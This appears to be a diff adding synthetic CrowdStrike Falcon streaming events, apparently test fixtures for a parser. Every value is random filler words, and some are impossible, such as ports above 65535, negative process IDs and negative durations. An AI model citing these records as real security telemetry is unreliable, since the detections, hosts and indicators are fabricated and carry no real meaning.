+{"metadata": {"customerIDString": "realisticthrill","offset": -1392969674,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": -1219808772,"ProcessEndTime": -1668559174,"ProcessId": 335206452,"ParentProcessId": 1114175168,"ComputerName": "manyfreedom","UserName": "hilariousboxers","DetectName": "Germanparty","DetectDescription": "luggage team flock driver weather cackle danger board art company donkey calm trip government oil stand leggings belt fewhost","Severity": 2,"SeverityName": "Medium","FileName": "handsometrip","FilePath": "herway\\handsometrip","CommandLine": "C:\\Windows\\wildcackle","SHA256String": "itspart","MD5String": "ourgoodness","SHA1String": "Newtoniandelay","MachineDomain": "doublebow","NetworkAccesses": [{"AccessType": -332802669,"AccessTimestamp": 1751371565,"Protocol": "everythingunion","LocalAddress": "184.181.7.56","LocalPort": 11688,"RemoteAddress": "19.40.4.204","RemotePort": 17734,"ConnectionDirection": 1,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/whichdynasty?_cid=xxxxxxx","SensorId": "Nepaleseharvest","IOCType": "hash_sha256","IOCValue": "itssmoke","DetectId": "thesedream","LocalIP": "213.173.16.80","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "Indonesiancrowd","Technique": "itsflock","Objective": "mystring","PatternDispositionDescription": "Shakespeareanmurder","PatternDispositionValue": -588935804,"PatternDispositionFlags": {"Indicator": true,"Detect": false,"InddetMask": false,"SensorOnly": true,"Rooting": true,"KillProcess": false,"KillSubProcess": true,"QuarantineMachine": false,"QuarantineFile": false,"PolicyDisabled": true,"KillParent": true,"OperationBlocked": true,"ProcessBlocked": true,"RegistryOperationBlocked": true,"CriticalProcessDisabled": true,"BootupSafeguardEnabled": true,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"KillActionFailed": true,"BlockingUnsupportedOrDisabled": false,"SuspendProcess": false,"SuspendParent": true},"ParentImageFileName": "enough ofirritation","ParentCommandLine": "over theremob","GrandparentImageFileName": "exuberantleg","GrandparentCommandLine": "allcard","HostGroups": "wherebrace","AssociatedFile": "toughpacket","PatternId": 1308037568}}
+{"metadata": {"customerIDString": "impromptushower","offset": 659051257,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": 1455768470,"ProcessEndTime": -266478582,"ProcessId": 1664722161,"ParentProcessId": -399833595,"ComputerName": "dizzyingreel","UserName": "whyplant","DetectName": "itbevy","DetectDescription": "bitterness work movement stream couch sedge hundredspaghetti","Severity": 3,"SeverityName": "Low","FileName": "whoseproblem","FilePath": "famouswidth\\whoseproblem","CommandLine": "C:\\Windows\\enough ofparty","SHA256String": "whosenoodles","MD5String": "anyoneheap","SHA1String": "Malagasyworld","MachineDomain": "toochest","NetworkAccesses": [{"AccessType": -995515466,"AccessTimestamp": 1751371565,"Protocol": "allteam","LocalAddress": "111.19.217.24","LocalPort": 53608,"RemoteAddress": "51.118.171.155","RemotePort": 2097,"ConnectionDirection": 2,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/so fewsalary?_cid=xxxxxxx","SensorId": "allrainbow","IOCType": "command_line","IOCValue": "howjacket","DetectId": "thesebed","LocalIP": "22.0.228.148","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "whosecatalog","Technique": "importantclump","Objective": "whynature","PatternDispositionDescription": "husband pain class woman bouquet heralbum","PatternDispositionValue": 232362752,"PatternDispositionFlags": {"Indicator": true,"Detect": false,"InddetMask": true,"SensorOnly": false,"Rooting": true,"KillProcess": true,"KillSubProcess": false,"QuarantineMachine": true,"QuarantineFile": false,"PolicyDisabled": false,"KillParent": true,"OperationBlocked": true,"ProcessBlocked": false,"RegistryOperationBlocked": true,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": false,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"KillActionFailed": true,"BlockingUnsupportedOrDisabled": true,"SuspendProcess": true,"SuspendParent": false},"ParentImageFileName": "severalkettle","ParentCommandLine": "anywall","GrandparentImageFileName": "Einsteinianwoman","GrandparentCommandLine": "mygate","HostGroups": "whycountry","AssociatedFile": "singlesmile","PatternId": 2086358591}}
+{"metadata": {"customerIDString": "theirprofessor","offset": 567248240,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": 1774734214,"ProcessEndTime": 66307419,"ProcessId": -864884353,"ParentProcessId": -344829259,"ComputerName": "everythingtrade","UserName": "importantplane","DetectName": "anythingmob","DetectDescription": "woman owl mall racism leap host dog case company freedom child leap timing range physician number nurse stupidity quality work line cackle bundle itdog","Severity": 3,"SeverityName": "High","FileName": "hertime","FilePath": "allsink\\hertime","CommandLine": "C:\\Windows\\eacharmy","SHA256String": "everythingplace","MD5String": "somebodyparty","SHA1String": "herhospital","MachineDomain": "obedienthail","NetworkAccesses": [{"AccessType": -1032970588,"AccessTimestamp": 1751371565,"Protocol": "Tibetancrest","LocalAddress": "207.78.73.12","LocalPort": 48124,"RemoteAddress": "122.136.60.14","RemotePort": 41634,"ConnectionDirection": 2,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/thoseworld?_cid=xxxxxxx","SensorId": "Burkineselion","IOCType": "domain","IOCValue": "whosebale","DetectId": "Ecuadoriannap","LocalIP": "210.235.244.135","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "whichset","Technique": "Pacificregiment","Objective": "whichdress","PatternDispositionDescription": "place problem range game head horde congregation mustering clump hedge heap year bowl rain harvest board door scarycase","PatternDispositionValue": 1078801731,"PatternDispositionFlags": {"Indicator": false,"Detect": true,"InddetMask": true,"SensorOnly": false,"Rooting": true,"KillProcess": true,"KillSubProcess": false,"QuarantineMachine": true,"QuarantineFile": true,"PolicyDisabled": false,"KillParent": true,"OperationBlocked": true,"ProcessBlocked": true,"RegistryOperationBlocked": true,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": false,"FsOperationBlocked": false,"HandleOperationDowngraded": true,"KillActionFailed": true,"BlockingUnsupportedOrDisabled": false,"SuspendProcess": false,"SuspendParent": true},"ParentImageFileName": "everythingway","ParentCommandLine": "enoughweek","GrandparentImageFileName": "eachline","GrandparentCommandLine": "wheretime","HostGroups": "luckybrace","AssociatedFile": "hishelp","PatternId": 1211434267}}
+{"metadata": {"customerIDString": "Salvadoreanstaff","offset": 103240762,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "lots ofpair","MobileDetectionId": 1671974311,"ComputerName": "whybowl","UserName": "severalfather","ContextTimeStamp": 1649061056,"DetectId": "whoseeye","DetectName": "fewflock","DetectDescription": "woman board cigarette bravery grains house buffalo software regiment life heroutfit","Tactic": "Turkishright","TacticId": "thisbunch","Technique": "heavilytheater","TechniqueId": "whatjustice","Objective": "Barcelonianheat","Severity": 95,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/thoseline?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "whichkilometer","AndroidAppLabel": "anygrapes","DexFileHashes": "whicheye","ImageFileName": "Monacanbrace","AppInstallerInformation": "badcrew","IsBeingDebugged": false,"AndroidAppVersionName": "heavilywindow","IsContainerized": false}]}}
+{"metadata": {"customerIDString": "inquiringproduction","offset": -1536141160,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "franticnation","DetectName": "mymilk","DetectDescription": "generosity hat army growth covey class galaxy batch cash child hail handle mustering shock congregation life way slavery herkey","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/kubanmob?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 30,"SeverityName": "Medium","Tactic": "Senegalesefact","Technique": "muchmovement","Objective": "thosecovey","SourceAccountDomain": "thesecovey","SourceAccountName": "itchysedge","SourceAccountObjectSid": "allomen","SourceEndpointAccountObjectGuid": "so fewgalaxy","SourceEndpointAccountObjectSid": "herenumber","SourceEndpointHostName": "someonecompany","SourceEndpointIpAddress": "195.86.72.168","SourceEndpointSensorId": "substantialnest","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "over theretroupe","PatternId": 660480024}}
+{"metadata": {"customerIDString": "manyline","offset": -597466430,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "sufficientrestaurant","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\therebrilliance","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Endpoint","Description": "razor yard whatleap","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/howcompany?_cid=xxxxxxx","FileName": "Vietnamesecountry","FilePath": "Atlanticcorner\\Vietnamesecountry","FilesAccessed": [{"FileName": "Vietnamesecountry","FilePath": "Atlanticcorner\\Vietnamesecountry","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "Vietnamesecountry","FilePath": "Atlanticcorner\\Vietnamesecountry","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\thosepatrol","GrandParentImageFileName": "Putinisttrend","GrandParentImageFilePath": "itspants\\Putinisttrend","HostGroups": "yourbowl","Hostname": "funnygrandmother","LocalIP": "19.252.225.20","LocalIPv6": "233.205.254.213","LogonDomain": "theregenetics","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "herweek","Name": "everyblock","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": -1851110545,"ConnectionDirection": 0,"IsIPV6": false,"LocalAddress": "193.49.166.226","LocalPort": 38575,"Protocol": "foolishphone","RemoteAddress": "165.8.182.160","RemotePort": 78338}],"Objective": "wherestring","ParentCommandLine": "C:\\Windows\\Egyptiansedge\\fewpacket","ParentImageFileName": "fewpacket","ParentImageFilePath": "thatteam\\fewpacket","ParentProcessId": -1681528807,"PatternDispositionDescription": "murder card shoulder crowd quality work accommodation store host troop nap regiment patrol wood person selfishinnocence","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": true,"BootupSafeguardEnabled": false,"ContainmentFileSystem": true,"CriticalProcessDisabled": false,"Detect": true,"FsOperationBlocked": true,"HandleOperationDowngraded": true,"InddetMask": true,"Indicator": true,"KillActionFailed": false,"KillParent": false,"KillProcess": true,"KillSubProcess": false,"OperationBlocked": false,"PolicyDisabled": false,"ProcessBlocked": true,"QuarantineFile": true,"QuarantineMachine": true,"RegistryOperationBlocked": true,"Rooting": true,"SensorOnly": false,"SuspendParent": true,"SuspendProcess": true},"PatternDispositionValue": 429314125,"PatternId": -975789334,"PlatformId": "Turkishishviolin","PlatformName": "Windows","ProcessEndTime": 1850358469,"ProcessId": -672567725,"ProcessStartTime": 1587634620,"ReferrerUrl": "Machiavellianelephant","SHA1String": "anythingemployment","SHA256String": "yourwoman","Severity": 42,"SeverityName": "High","SourceProducts": "alltime","SourceVendors": "couplecaravan","Tactic": "everythingbook","Technique": "wherebird","Type": "ofp","UserName": "everybodyhorn"}}
+{"metadata": {"customerIDString": "Torontoniancompany","offset": -1122039317,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "thosegenerosity","State": "closed","FineScore": 1.0608080377799243,"LateralMovement": 1,"IncidentType": 2,"IncidentID": "muchclothing","HostID": "itparty","LMHostIDs": ["Antarcticcackle"],"UserId": "so fewharvest"}}
+{"metadata": {"customerIDString": "thistiming","offset": -102202667,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "substantialjuice","UserID": "itsweather","ExecutionID": "nokindness","ReportID": "thesehorde","ReportName": "everyonebale","ReportType": "Sammarinesestaff","ReportFileReference": "attractivestaff","Status": "agreeableluck","StatusMessage": "smoggyfinger","ExecutionMetadata": {"ExecutionStart": 601517985,"ExecutionDuration": -709429405,"ReportFileName": "thatbook","ResultCount": 2084610239,"ResultID": "eachmistake","SearchWindowStart": 1734601028,"SearchWindowEnd": -846795858}}}
+{"metadata": {"customerIDString": "severalweek","offset": -1707001885,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "Asiantime","IncidentDescription": "cast turkey battery troop aircraft host wisp oxygen whystack","Severity": 51,"SeverityName": "Low","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "onejoy","UserName": "yourcackle","EndpointName": "energeticbread","EndpointIp": "195.147.210.179","Category": "Incidents","NumbersOfAlerts": 1268934402,"NumberOfCompromisedEntities": 1259764240,"State": "AUTO_RESOLVED","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/hergalaxy?_cid=xxxxxxx"}}
+{"metadata": {"customerIDString": "thatband","offset": 533280884,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "mytroop","Highlights": ["yourmercy"],"MatchedTimestamp": 1686889114000,"RuleId": "blushingstairs","RuleName": "Malagasykangaroo","RuleTopic": "everybodyright","RulePriority": "littletrip","ItemId": "whoselife","ItemType": "CS","ItemPostedTimestamp": 1686889114000}}
+{"metadata": {"customerIDString": "thosecar","offset": 218160549,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "tooharvest","MobileDetectionId": 1430718232,"ComputerName": "yourleap","UserName": "Frenchtravel","ContextTimeStamp": 1649061056,"DetectId": "gorgeousmob","DetectName": "howcase","DetectDescription": "bale eye day dynasty laughter host number batch number place hand whichbouquet","Tactic": "Mozartianblock","TacticId": "emptyadult","Technique": "ourbody","TechniqueId": "darkarmy","Objective": "herepublicity","Severity": 76,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/anythought?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "funnyzoo","AndroidAppLabel": "a little bitwork","DexFileHashes": "a lotaunt","ImageFileName": "ourchair","AppInstallerInformation": "significantpark","IsBeingDebugged": false,"AndroidAppVersionName": "onegenerosity","IsContainerized": true}]}}
+{"metadata": {"customerIDString": "itpalm","offset": -734238846,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "somebodyfashion","HostnameField": "hispatrol","UserName": "thishospital","StartTimestamp": 1582830734,"AgentIdString": "yourhumour"}}
+{"metadata": {"customerIDString": "Bahamianexaltation","offset": 546463509,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "whatcloud","UserID": "Ecuadorianflour","ExecutionID": "badenthusiasm","ReportID": "howhead","ReportName": "tamebunch","ReportType": "Sudaneseclass","ReportFileReference": "hiswallet","Status": "upsettime","StatusMessage": "significantchild","ExecutionMetadata": {"ExecutionStart": 580693909,"ExecutionDuration": 1591944777,"ReportFileName": "hiswings","ResultCount": -128959722,"ResultID": "theseshower","SearchWindowStart": -248440703,"SearchWindowEnd": -1685768217}}}
+{"metadata": {"customerIDString": "whosepack","offset": -839551041,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "herresearch","PolicyId": 220036543,"PolicyStatement": "Burmesestream","CloudProvider": "ityear","CloudService": "Greekexaltation","Severity": 24,"SeverityName": "High","EventAction": "manybrace","EventSource": "over thereoil","EventCreatedTimestamp": 1663011160,"UserId": "whosedesktop","UserName": "herefarm","UserSourceIp": "223.97.203.172","Tactic": "significantworld","Technique": "wherebody"}}
+{"metadata": {"customerIDString": "herhouse","offset": -1879896176,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "itcatalog","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\everybodyday","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "IoT","Description": "place group mustering coffee patrol fiction fun boy person life finger host exaltation exaltation person number galaxy candle case anthology howbunch","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/lightbevy?_cid=xxxxxxx","FileName": "everythinggovernment","FilePath": "theseparty\\everythinggovernment","FilesAccessed": [{"FileName": "everythinggovernment","FilePath": "theseparty\\everythinggovernment","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "everythinggovernment","FilePath": "theseparty\\everythinggovernment","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\anycash","GrandParentImageFileName": "anythinggang","GrandParentImageFilePath": "Englishwidth\\anythinggang","HostGroups": "jealouswad","Hostname": "whereteam","LocalIP": "121.150.104.60","LocalIPv6": "251.127.218.128","LogonDomain": "Salvadoreancongregation","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "Alaskanream","Name": "Vietnamesemustering","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": 1285794417,"ConnectionDirection": 2,"IsIPV6": true,"LocalAddress": "4.193.124.143","LocalPort": 87112,"Protocol": "itsnurse","RemoteAddress": "153.89.96.29","RemotePort": 70233}],"Objective": "wherealbum","ParentCommandLine": "C:\\Windows\\superloss\\herequiver","ParentImageFileName": "herequiver","ParentImageFilePath": "everybodybunch\\herequiver","ParentProcessId": -1276296253,"PatternDispositionDescription": "thosepacket","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": true,"BootupSafeguardEnabled": true,"ContainmentFileSystem": false,"CriticalProcessDisabled": false,"Detect": true,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"InddetMask": true,"Indicator": true,"KillActionFailed": false,"KillParent": true,"KillProcess": false,"KillSubProcess": false,"OperationBlocked": true,"PolicyDisabled": true,"ProcessBlocked": false,"QuarantineFile": true,"QuarantineMachine": false,"RegistryOperationBlocked": false,"Rooting": true,"SensorOnly": false,"SuspendParent": true,"SuspendProcess": false},"PatternDispositionValue": 587089416,"PatternId": -873792023,"PlatformId": "lightmuster","PlatformName": "Linux","ProcessEndTime": -1943958440,"ProcessId": -478736025,"ProcessStartTime": 121329134,"ReferrerUrl": "enough ofsock","SHA1String": "somebodyyear","SHA256String": "nonestaff","Severity": 85,"SeverityName": "High","SourceProducts": "eachworld","SourceVendors": "everyonefleet","Tactic": "Balineseverb","Technique": "a littleidea","Type": "ldt","UserName": "whichpart"}}
+{"metadata": {"customerIDString": "thesesugar","offset": -681064101,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "eachgang","DetectName": "someoneriches","DetectDescription": "a littletroop","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/itsriches?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 67,"SeverityName": "High","Tactic": "faithfulnutrition","Technique": "confusinggang","Objective": "whichleap","SourceAccountDomain": "somebodyday","SourceAccountName": "thesechildren","SourceAccountObjectSid": "uninterestedisland","SourceEndpointAccountObjectGuid": "allwidth","SourceEndpointAccountObjectSid": "itgoodness","SourceEndpointHostName": "gentlecontent","SourceEndpointIpAddress": "50.68.139.91","SourceEndpointSensorId": "theiregg","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "ourproblem","PatternId": 884624048}}
+{"metadata": {"customerIDString": "Kyrgyzhen","offset": 797209955,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "alllondon","State": "closed","FineScore": 4.884978426181396,"LateralMovement": 1,"IncidentType": 1,"IncidentID": "littlerange","HostID": "mymercy","LMHostIDs": ["manyreel"],"UserId": "ourhorse"}}
+{"metadata": {"customerIDString": "allhandle","offset": -1304643313,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "pricklingtelevision","IncidentDescription": "park chest chest orange tribe nest appetite cap flock bread posse desk joy company dream rhythm patrol tongue hedge apartment whoseoffice","Severity": 32,"SeverityName": "Medium","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "Rooseveltianreligion","UserName": "South Americanharvest","EndpointName": "powerlessday","EndpointIp": "250.221.185.73","Category": "Detections","NumbersOfAlerts": 62079556,"NumberOfCompromisedEntities": -2064797836,"State": "RESOLVED","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/thosepacket?_cid=xxxxxxx"}}
+{"metadata": {"customerIDString": "allcloud","offset": 2057180769,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "oneproblem","UserIp": "6.9.195.182","OperationName": "resetAuthSecret","ServiceName": "Crowdstrike Streaming API","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "puzzledfrailty","ValueString": "Turkishbrilliance"}],"Attributes": {"actor_cid": "friendlylibrary","actor_user": "whatreligion","actor_user_uuid": "tensechild","app_id": "somebodyday","saml_assertion": "ouraddress","target_user": "mythrill","trace_id": "hisbunch"}}}
+{"metadata": {"customerIDString": "thosearchipelago","offset": 1981280026,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "thattrust","HostnameField": "wearycongregation","UserName": "mushyhorde","StartTimestamp": 1582830734,"AgentIdString": "somepride"}}
+{"metadata": {"customerIDString": "somepower","offset": 1411701757,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "Iranianpolice station","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\ourtaxi","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Endpoint","Description": "ittea","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/ourswimming pool?_cid=xxxxxxx","FileName": "Ecuadoriangroup","FilePath": "whosesmile\\Ecuadoriangroup","FilesAccessed": [{"FileName": "Ecuadoriangroup","FilePath": "whosesmile\\Ecuadoriangroup","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "Ecuadoriangroup","FilePath": "whosesmile\\Ecuadoriangroup","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\thesefork","GrandParentImageFileName": "a littlecabin","GrandParentImageFilePath": "handsomecatalog\\a littlecabin","HostGroups": "mostman","Hostname": "everybodyfleet","LocalIP": "189.29.8.130","LocalIPv6": "159.3.194.174","LogonDomain": "thosecase","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "manyphotographer","Name": "somebodynest","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": 1060505770,"ConnectionDirection": 0,"IsIPV6": true,"LocalAddress": "171.216.167.11","LocalPort": 82702,"Protocol": "halfmurder","RemoteAddress": "9.215.112.156","RemotePort": 74098}],"Objective": "itsfashion","ParentCommandLine": "C:\\Windows\\theirmotivation\\plenty ofmob","ParentImageFileName": "plenty ofmob","ParentImageFilePath": "expensivehand\\plenty ofmob","ParentProcessId": 1821586867,"PatternDispositionDescription": "table stack troop group cleverness clump time Congolesepack","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": true,"BootupSafeguardEnabled": false,"ContainmentFileSystem": false,"CriticalProcessDisabled": true,"Detect": false,"FsOperationBlocked": true,"HandleOperationDowngraded": true,"InddetMask": false,"Indicator": true,"KillActionFailed": true,"KillParent": true,"KillProcess": false,"KillSubProcess": true,"OperationBlocked": true,"PolicyDisabled": false,"ProcessBlocked": true,"QuarantineFile": false,"QuarantineMachine": false,"RegistryOperationBlocked": true,"Rooting": true,"SensorOnly": false,"SuspendParent": false,"SuspendProcess": false},"PatternDispositionValue": 656044748,"PatternId": -1504638547,"PlatformId": "yourdesk","PlatformName": "Windows","ProcessEndTime": -1683066086,"ProcessId": -611965295,"ProcessStartTime": -19010930,"ReferrerUrl": "thesehost","SHA1String": "whymotherhood","SHA256String": "herbird","Severity": 78,"SeverityName": "Low","SourceProducts": "whatharvest","SourceVendors": "everybodybank","Tactic": "plenty ofpanther","Technique": "itline","Type": "ofp","UserName": "theirjuice"}}
+{"metadata": {"customerIDString": "howlibrary","offset": -1357596194,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "everybodycare","State": "closed","FineScore": 7.329323871679526,"LateralMovement": 0,"IncidentType": 1,"IncidentID": "ourimagination","HostID": "whosechapter","LMHostIDs": ["wholelove"],"UserId": "whichdeer"}}
+{"metadata": {"customerIDString": "therestove","offset": -1321825362,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": -70758647,"ProcessEndTime": 1109602429,"ProcessId": -483490410,"ParentProcessId": -472945298,"ComputerName": "greenpyramid","UserName": "significantgroup","DetectName": "itslie","DetectDescription": "butter year troop troop bowl host marriage cluster egg page group equipment page sink parfume flock bevy year mustering rubbish band world muchline","Severity": 4,"SeverityName": "High","FileName": "abundantfish","FilePath": "severalrange\\abundantfish","CommandLine": "C:\\Windows\\halfdrum","SHA256String": "Bangladeshisorrow","MD5String": "wickedmeeting","SHA1String": "whoseboat","MachineDomain": "everybodyleap","NetworkAccesses": [{"AccessType": 1813273993,"AccessTimestamp": 1751371565,"Protocol": "richspelling","LocalAddress": "212.149.28.8","LocalPort": 17461,"RemoteAddress": "213.132.112.7","RemotePort": 75157,"ConnectionDirection": 0,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Danishchild?_cid=xxxxxxx","SensorId": "thoughtfulpolice","IOCType": "behavior","IOCValue": "nobodyscooter","DetectId": "yourhail","LocalIP": "113.246.231.18","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "anyoneheap","Technique": "shinycorner","Objective": "everycast","PatternDispositionDescription": "noise child leap week catalog basket shirt mob itshail","PatternDispositionValue": 1764829108,"PatternDispositionFlags": {"Indicator": true,"Detect": true,"InddetMask": false,"SensorOnly": false,"Rooting": false,"KillProcess": false,"KillSubProcess": true,"QuarantineMachine": true,"QuarantineFile": true,"PolicyDisabled": true,"KillParent": false,"OperationBlocked": false,"ProcessBlocked": false,"RegistryOperationBlocked": false,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": true,"FsOperationBlocked": true,"HandleOperationDowngraded": true,"KillActionFailed": false,"BlockingUnsupportedOrDisabled": true,"SuspendProcess": false,"SuspendParent": false},"ParentImageFileName": "someonemistake","ParentCommandLine": "over therespaghetti","GrandparentImageFileName": "kindbowl","GrandparentCommandLine": "inquiringbrace","HostGroups": "over therescold","AssociatedFile": "hererubbish","PatternId": -493050193}}
+{"metadata": {"customerIDString": "easyyear","offset": 1720121769,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "hereperson","IncidentDescription": "anger mile fun horror knowledge turkey horde wisp country enoughvest","Severity": 42,"SeverityName": "Critical","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "severalgarden","UserName": "howhail","EndpointName": "ourarmy","EndpointIp": "136.101.211.208","Category": "Incidents","NumbersOfAlerts": 646902721,"NumberOfCompromisedEntities": -1900425728,"State": "NEW","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/yourbunch?_cid=xxxxxxx"}}
+{"metadata": {"customerIDString": "whoseflock","offset": -737457967,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "confusinghat","DetectName": "Japanesecheese","DetectDescription": "furniture nest wad comb casino man galaxy guilt ball body muster chest dynasty case club problem lips brace hail hat whichtennis","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/thosegang?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 7,"SeverityName": "Informational","Tactic": "Middle Easterncompany","Technique": "Greekscold","Objective": "fewenthusiasm","SourceAccountDomain": "insufficientproblem","SourceAccountName": "theirwildlife","SourceAccountObjectSid": "thistolerance","SourceEndpointAccountObjectGuid": "theseswan","SourceEndpointAccountObjectSid": "Icelandiccrowd","SourceEndpointHostName": "Egyptianshower","SourceEndpointIpAddress": "253.226.103.104","SourceEndpointSensorId": "allcluster","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "howcoat","PatternId": 1827299863}}
